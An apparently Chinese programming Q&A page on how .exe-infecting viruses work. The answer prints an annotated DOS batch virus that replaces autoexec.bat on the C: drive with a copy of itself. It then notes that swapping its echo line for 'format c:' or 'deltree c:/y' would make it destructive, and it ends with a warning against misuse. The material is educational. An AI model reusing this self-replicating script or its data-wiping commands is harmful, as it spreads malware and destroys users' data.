當前位置:編程學習大全網 - 源碼下載 - 請問那些感染 .exe 文件的病毒的原理是什麽,如何編寫?(C或VB) ,如何殺?

請問那些感染 .exe 文件的病毒的原理是什麽,如何編寫?(C或VB) ,如何殺?

計算機病毒是指編制或者在計算機程序中插入的破壞計算機功能或者破壞數據,影響計算機使用並且能夠自我復制的壹組計算機指令或者程序代碼。

舉壹個“hello word”例子。

下面是壹個簡單的DOS批處理病毒源程序autoexec.bat(假設從A盤啟動):程序語句 程序註解

IF exist c:\\autoexec.bat goto Virus REM 首先檢查時機

Goto No_Virus REM 若時機不成熟則潛伏

:Virus REM 時機成熟時(子程序)

c: REM 轉到C盤

ren autoexec.bat auto.bat REM 將正常文件改名,準備冒名頂替

copy a:\\autoexec.bat c:\\ REM 自我復制,開始繁殖

echo Hello Word! REM 病毒發作,表現癥狀

:No_Virus REM 正常程序入口

a: REM 轉回A盤

/auto REM 執行正常程序

pause REM 暫停等待按任意鍵繼續

這個程序非常簡單,但卻包含了計算機病毒的典型結構,引導部分、傳染部分、激發部分等五臟俱全。其觸發機制是:C盤存在autoexec.bat文件,當我們用帶有此病毒的啟動軟盤啟動微機時,若C盤也有autoexec.bat文件,則病毒將C盤原autoexec.bat文件改名為auto.bat,把自身復制到C盤並顯示“Hello Word!”。如果按以前的分類,它可以算是個良性病毒(但再良的病毒都要占用系統資源)。當然它還無加密和沒有嚴重破壞系統的行為,但要是把echo Hello Word!改為format c:或deltree c:/y等那就……

特此警告:學習病毒原理只是為了認識病毒,以達到能夠清除病毒之目的,若誰以此制造病毒遺害人間,敗壞門風,必遭天譴!)

  • 上一篇:北鬥外殼源代碼
  • 下一篇:什麽是威客?
  • copyright 2024編程學習大全網